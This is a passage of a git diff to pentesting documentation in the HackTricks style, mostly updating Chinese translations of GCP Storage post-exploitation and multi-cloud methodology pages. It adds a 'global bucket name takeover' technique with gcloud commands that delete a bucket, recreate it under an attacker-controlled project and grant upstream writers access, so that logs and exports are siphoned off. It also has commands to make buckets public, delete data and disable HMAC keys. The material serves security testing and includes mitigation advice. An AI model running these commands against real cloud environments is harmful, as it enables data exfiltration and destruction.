-创建快照并定位到该快照 +Create snapshot and seek to it ```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md index 341504fe1..1a7332aca 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md @@ -1,4 +1,4 @@ -# GCP - Storage Post Exploitation +# GCP - Storage 后渗透 {{#include ../../../banners/hacktricks-training.md}} @@ -10,9 +10,9 @@ ../gcp-services/gcp-storage-enum.md {{#endref}} -### 授予公开访问 +### 赋予公共访问权限 -可以将访问权限授予外部用户(是否登录 GCP 均可)以访问 buckets 的内容。然而,默认情况下 bucket 会禁用公开暴露的选项: +可以为外部用户(是否登录 GCP 都可以)授予对 bucket 内容的访问权限。不过,默认情况下 bucket 会禁用公开暴露 bucket 的选项: ```bash # Disable public prevention gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention @@ -25,13 +25,13 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER ``` -如果你尝试将 **ACLs 应用于已禁用 ACLs 的 bucket**,你会看到此错误:`ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access` +如果你尝试给**已禁用 ACLs 的 bucket**设置 ACLs,你会发现这个错误:`ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access` -要通过浏览器访问公开的 bucket,请访问 URL `https://.storage.googleapis.com/` 或 `https://.storage.googleapis.com/` +要通过浏览器访问公开的 buckets,请访问 URL `https://.storage.googleapis.com/` 或 `https://.storage.googleapis.com/` ### `storage.objects.delete` (`storage.objects.get`) -删除对象: +要删除一个 object: ```bash gcloud storage rm gs:/// --project= ``` @@ -41,9 +41,41 @@ gcloud storage rm gs:/// --project= ```bash gcloud storage rm -r gs:// ``` -### 停用 HMAC 密钥 +### 上游写入器的 Global bucket name takeover -`storage.hmacKeys.update` 权限允许停用 HMAC 密钥,`storage.hmacKeys.delete` 权限允许某个身份删除与 Cloud Storage 中的服务账户关联的 HMAC 密钥。 +Cloud Storage bucket names 是 globally unique。在删除 bucket 之前,检查是否有任何 automated service 仍在按名称向该 bucket 写入。如果 bucket 被删除,并且同名 bucket 在 attacker-controlled project 中被重新创建,那么上游写入器,如 Cloud Logging sinks、Pub/Sub Cloud Storage subscriptions 或 Storage Transfer Service jobs,可能会继续将未来数据写入替换后的 bucket。 +```bash +# Cloud Logging sinks using GCS +gcloud logging sinks list --project \ +--format='table(name,destination,writerIdentity)' + +# Pub/Sub subscriptions writing messages into GCS +gcloud pubsub subscriptions list --project \ +--format='json(name,topic,cloudStorageConfig)' + +# Storage Transfer Service jobs +gcloud transfer jobs list --project + +# Delete and reclaim the destination bucket name +gcloud storage rm -r gs:// +gcloud storage buckets create gs:// \ +--project \ +--location +``` +如果上游服务需要,请将相关 writer identity 访问权限授予替换 bucket: +```bash +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='' \ +--role='roles/storage.objectCreator' \ +--project +``` +**Potential Impact:** 长期窃取 logs、messages、transfer outputs、backups 或 data pipeline artifacts,而不修改原始 router resource。 + +**Detection & Mitigation:** 当 bucket 被 sinks/subscriptions/jobs 引用时,将 bucket deletion 视为高风险,针对 dangling destinations 发出告警,限制 `storage.buckets.delete`,并在适当时对关键 export buckets 使用 retention policies 或 legal holds。 + +### Deactivate HMAC Keys + +`storage.hmacKeys.update` permission 允许禁用 HMAC keys,而 `storage.hmacKeys.delete` permission 允许 identity 删除 Cloud Storage 中与 service accounts 关联的 HMAC keys。 ```bash # Deactivate gcloud storage hmac update --deactivate @@ -52,19 +84,19 @@ gcloud storage hmac update --deactivate gcloud storage hmac delete ``` ### `storage.buckets.setIpFilter` & `storage.buckets.update` -拥有 `storage.buckets.setIpFilter` 权限以及 `storage.buckets.update` 权限的主体,可以在 Cloud Storage bucket 上配置 IP 地址过滤器,指定允许访问该 bucket 资源的 IP 范围或地址。 +`storage.buckets.setIpFilter` permission 与 `storage.buckets.update` permission 一起,允许一个 identity 配置 Cloud Storage bucket 的 IP address filters,指定哪些 IP ranges 或 addresses 被允许访问该 bucket 的 resources。 -要完全清除 IP 过滤器,可以使用以下命令: +要完全清除 IP filter,可以使用以下 command: ```bash gcloud storage buckets update gs:// --project= ``` -要更改被过滤的 IPs,可使用以下命令: +要更改过滤后的 IP,可以使用以下命令: ```bash gcloud storage buckets update gs:// \ --ip-filter-file=ip-filter.json \ --project= ``` -JSON 文件表示过滤器本身,例如: +JSON 文件本身表示 filter,例如: ```bash { "mode": "Enabled", @@ -76,7 +108,7 @@ JSON 文件表示过滤器本身,例如: } ``` ### `storage.buckets.restore` -使用以下方法恢复存储桶: +使用以下方式恢复 bucket: ```bash gcloud storage restore gs://# \ --project= diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 3d4c44982..890996100 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -1,4 +1,4 @@ -# Pentesting 云 方法论 +# Pentesting Cloud Methodology {{#include ../banners/hacktricks-training.md}} @@ -6,39 +6,65 @@ ## 基本方法 -每个云都有其自身的特殊性,但总体上在测试云环境时有几项是 **pentester 应该检查的常见事项**: +每个 cloud 都有自己的特殊性,但总体上,在测试 cloud 环境时,有一些 **pentester 应该检查的常见事项**: -- **基准检查** -- 这将帮助你 **了解环境规模** 和 **使用的服务** -- 这也能让你找到一些 **快速的错误配置**,因为你可以使用 **自动化工具** 执行大部分这些测试 +- **Benchmark checks** +- 这将帮助你 **了解环境规模** 和 **使用的 services** +- 这也能让你通过 **automated tools** 执行大部分测试,从而发现一些 **快速 misconfigurations** - **Services Enumeration** -- 如果你之前正确执行了基准测试,这里可能不会发现太多新的错误配置,但你可能会找到基准测试中未覆盖到的项。 -- 这将让你知道 **云环境中到底使用了哪些服务** -- 这对后续步骤非常有帮助 -- **检查对外暴露的资产** -- 这可以在前一部分同时进行,你需要 **找出所有可能以某种方式暴露在互联网上的资源**,以及如何访问它们。 -- 这里我指的是 **手动暴露的基础设施**,比如有网页或其他端口暴露的实例,以及那些可以被配置为对外暴露的 **云托管服务**(例如 DBs 或 buckets) -- 然后你应该检查 **该资源是否可以被暴露**(敏感信息?漏洞?暴露服务的错误配置?) -- **检查权限** -- 在这里你应该 **找出云中每个 role/user 的所有权限** 以及这些权限如何被使用 -- 是否存在太多 **高权限(可以控制一切)** 账号?生成的 key 未被使用?...... 这些检查大多数应该已经在基准测试中完成 -- 如果客户使用 OpenID 或 SAML 或其他 **federation**,你可能需要向他们询问更多 **关于每个 role 如何被分配** 的 **信息**(把 admin role 分配给 1 个用户和分配给 100 个用户并不是一回事) -- 仅仅找出哪些用户具有 **admin** 权限 "\*:\*" 是 **不够的**。还有很多 **其他权限**,根据所使用的服务可能非常 **敏感**。 -- 此外,存在滥用权限的 **潜在 privesc** 路径。所有这些都应被考虑在内,并尽可能报告 **尽可能多的 privesc 路径**。 -- **检查集成** -- 非常可能在云环境中使用了 **与其他云或 SaaS 的集成** -- 对于 **你正在审计的云与其他平台之间的集成**,你应当通知 **谁有权限访问并(滥用)该集成**,并询问该操作的 **敏感性**。\ -例如,谁可以向一个 AWS bucket 写入数据,而 GCP 从中获取数据(询问在 GCP 中处理这些数据的操作有多敏感)。 -- 对于 **来自外部平台与被审计云之间的集成**,你应询问 **谁有外部访问权限可以(滥用)该集成**,并检查这些数据如何被使用。\ -例如,如果某个服务使用托管在 GCR 的 Docker image,你应询问谁有权限修改该镜像,以及该镜像在被执行于 AWS cloud 内时将获得哪些敏感信息和访问权限。 +- 如果你正确执行了 benchmark tests,这里你可能不会发现太多额外的 misconfigurations,但你也可能找到一些在 benchmark test 中没有被检查到的问题。 +- 这将帮助你准确了解 cloud env 中 **到底使用了什么** +- 这将对后续步骤有很大帮助 +- **Check exposed assets** +- 这可以在上一节期间完成,你需要 **找出所有以某种方式可能暴露到 Internet 的内容** 以及它们如何被访问。 +- 这里我指的是 **手动暴露的 infrastructure**,例如带有 web 页面或其他端口暴露的 instances,也包括其他 **可以配置为暴露的 cloud managed services**(如 DBs 或 buckets) +- 然后你应该检查 **该资源是否真的可以被暴露**(confidential information?vulnerabilities?暴露服务中的 misconfigurations?) +- **Check permissions** +- 在这里你应该 **找出 cloud 内每个 role/user 的所有 permissions** 以及它们是如何被使用的 +- 是否存在过多的 **highly privileged**(control everything)账户?未使用的生成 keys?……这些检查中的大多数其实在 benchmark tests 中就已经做过了 +- 如果 client 使用 OpenID 或 SAML 或其他 **federation**,你可能需要向他们询问更多关于 **每个 role 是如何被分配的** 的信息(admin role 分配给 1 个 user 和分配给 100 个 user 并不一样) +- 仅仅找到哪些 users 拥有 **admin** 权限 "\*:\*" 还不够。根据所使用的 services,不同的 **其他 permissions** 也可能非常 **sensitive**。 +- 此外,还存在通过滥用 permissions 的 **potential privesc** 路径。所有这些都应被考虑在内,并且应尽可能多地报告 **privesc paths**。 +- **Check Integrations** +- cloud env 中很可能正在使用与其他 clouds 或 SaaS 的 **integrations**。 +- 对于你正在审计的 cloud 与其他 platform 的 **integrations**,你应该说明 **谁有 access 去 (ab)use 该 integration**,并询问正在执行的动作 **有多 sensitive**。\ +例如,谁可以在 AWS bucket 中写入,而 GCP 正从那里获取 data(询问在 GCP 中处理该 data 的动作有多 sensitive)。 +- 对于你正在审计的 cloud 内部来自外部 platform 的 **integrations**,你应该询问 **谁在外部有 access 去 (ab)use 该 integration**,并检查这些 data 是如何被使用的。\ +例如,如果某个 service 正在使用托管在 GCR 中的 Docker image,你应该询问谁有 access 去修改它,以及当该 image 在 AWS cloud 内执行时会获得哪些 sensitive info 和 access。 + +### Hunt autonomous data streams writing to globally-unique storage + +During post-exploitation, review long-lived exports such as log sinks, subscriptions, replication jobs, Firehose streams, and diagnostic settings that write to buckets or storage accounts by globally-unique name. If the destination can be deleted and the same name can be recreated under attacker control, the upstream service might keep delivering sensitive data to the replacement destination even when the attacker cannot update the router resource itself. + +Focus this check in the relevant service pages: + +{{#ref}} +gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md +{{#endref}} + +{{#ref}} +gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md +{{#endref}} + +{{#ref}} +gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md +{{#endref}} + +{{#ref}} +aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md +{{#endref}} + +{{#ref}} +azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +{{#endref}} ## Multi-Cloud tools -有若干工具可以用于测试不同的云环境。本节将指明安装步骤和链接。 +There are several tools that can be used to test different cloud environments. The installation steps and links are going to be indicated in this section. ### [PurplePanda](https://github.com/carlospolop/purplepanda) -一个用于 **识别云内及跨云/SaaS 的错误配置和 privesc 路径** 的工具。 +A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.** {{#tabs }} {{#tab name="Install" }} @@ -71,7 +97,7 @@ python3 main.py -e -p google #Enumerate the env ### [Prowler](https://github.com/prowler-cloud/prowler) -它支持 **AWS, GCP & Azure**。查看如何为每个提供商配置,请参阅 [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) +它支持 **AWS, GCP & Azure**。查看如何在 [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) 中配置每个 provider ```bash # Install pip install prowler @@ -146,7 +172,7 @@ done {{#tabs }} {{#tab name="Install" }} -下载并安装 Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads))。或者使用 Brew: +下载并安装 Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads))。或者使用 Brew: ``` brew tap turbot/tap brew install steampipe @@ -168,9 +194,9 @@ steampipe check all ```
-检查所有项目 +检查所有 Projects -为了检查所有项目,您需要生成 `gcp.spc` 文件来指明所有要测试的项目。您可以按照以下脚本的说明进行。 +为了检查所有的 projects,你需要生成 `gcp.spc` 文件,指明所有要测试的 projects。你可以直接按照下面脚本中的说明进行操作 ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -194,11 +220,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate ```
-要查看 **其他 GCP insights**(用于枚举服务)请使用: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +要检查 **other GCP insights**(用于枚举 services)请使用: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) -要查看 Terraform GCP 代码: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) +要检查 Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) -更多 Steampipe 的 GCP 插件: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) +更多 Steampipe 的 GCP plugins: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) {{#endtab }} {{#tab name="AWS" }} @@ -225,24 +251,24 @@ cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json ``` -用于检查 Terraform AWS 代码: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) +To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) -更多 Steampipe 的 AWS 插件: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) +More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) {{#endtab }} {{#endtabs }} ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite) AWS, GCP, Azure, DigitalOcean.\ -需要 python2.7,且似乎不再维护。 +它需要 python2.7,并且看起来已经无人维护。 ### Nessus -Nessus 包含一个 _**Audit Cloud Infrastructure**_ 扫描,支持:AWS、Azure、Office 365、Rackspace、Salesforce。 在 **Azure** 中需要一些额外配置来获取 **Client Id**。 +Nessus 有一个 _**Audit Cloud Infrastructure**_ 扫描,支持:AWS、Azure、Office 365、Rackspace、Salesforce。在 **Azure** 中还需要一些额外配置来获取 **Client Id**。 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist 是一个 **多云工具,用于获取资产**(主机名、IP 地址),用于从云提供商获取。 +Cloudlist 是一个用于从 Cloud Providers 获取 Assets(Hostnames、IP Addresses)的 **multi-cloud tool**。 {{#tabs }} {{#tab name="Cloudlist" }} @@ -265,7 +291,7 @@ cloudlist -config ### [**cartography**](https://github.com/lyft/cartography) -Cartography 是一个 Python 工具,用于在由 Neo4j database 提供支持的直观图视图中整合基础设施资产及它们之间的关系。 +Cartography 是一个 Python 工具,它将基础设施资产及其之间的关系整合到由 Neo4j 数据库驱动的直观图形视图中。 {{#tabs }} {{#tab name="Install" }} @@ -302,7 +328,7 @@ ghcr.io/lyft/cartography \ ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbase 从服务和系统中收集资产及其关系,包括云基础设施、SaaS 应用、安全控制等,并在由 Neo4j 数据库支持的直观图形视图中呈现。 +Starbase 从包括 cloud infrastructure、SaaS applications、security controls 等服务和系统中收集 assets 和 relationships,并将其整合到由 Neo4j database 支持的直观 graph view 中。 {{#tabs }} {{#tab name="Install" }} @@ -361,7 +387,7 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) -发现扫描到的 AWS 或 Azure 环境中权限最高的用户,包括 AWS Shadow Admins。它使用 powershell。 +发现被扫描的 AWS 或 Azure 环境中最具特权的用户,包括 AWS Shadow Admins。它使用 powershell。 ```bash Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -372,15 +398,15 @@ Scan-AzureAdmins ``` ### [Cloud Brute](https://github.com/0xsha/CloudBrute) -一个用于在主要云提供商(Amazon、Google、Microsoft、DigitalOcean、Alibaba、Vultr、Linode)上查找公司(目标)的基础设施、文件和应用程序的工具。 +一个用于查找公司(目标)基础设施、文件和 apps 的工具,适用于主流 cloud providers(Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode)。 ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox 是一个用于在 cloud infrastructure 中发现可利用攻击路径的工具(目前仅支持 AWS & Azure,GCP 即将支持)。 -- 它是一个 enumeration tool,旨在补充手动 pentesting。 +- CloudFox 是一个用于在 cloud infrastructure 中查找可利用攻击路径的工具(目前仅支持 AWS & Azure,GCP 即将支持)。 +- 这是一个 enumeration 工具,旨在 complement 手动 pentesting。 - 它不会在 cloud environment 中创建或修改任何数据。 -### 更多 cloud 安全工具列表 +### 更多 cloud security tools 列表 - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec) @@ -410,12 +436,19 @@ aws-security/ azure-security/ {{#endref}} -## 常见 Cloud 安全功能 +## Common Cloud Security Features -### 机密计算 +### Confidential Computing {{#ref}} confidential-computing/luks2-header-malleability-null-cipher-abuse.md {{#endref}} +## References + +- [The Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration](https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/) +- [Cloud Logging routing and sinks](https://docs.cloud.google.com/logging/docs/export/configure_export_v2) +- [Amazon S3 replication](https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication.html) +- [Azure Monitor diagnostic settings](https://learn.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings) + {{#include ../banners/hacktricks-training.md}}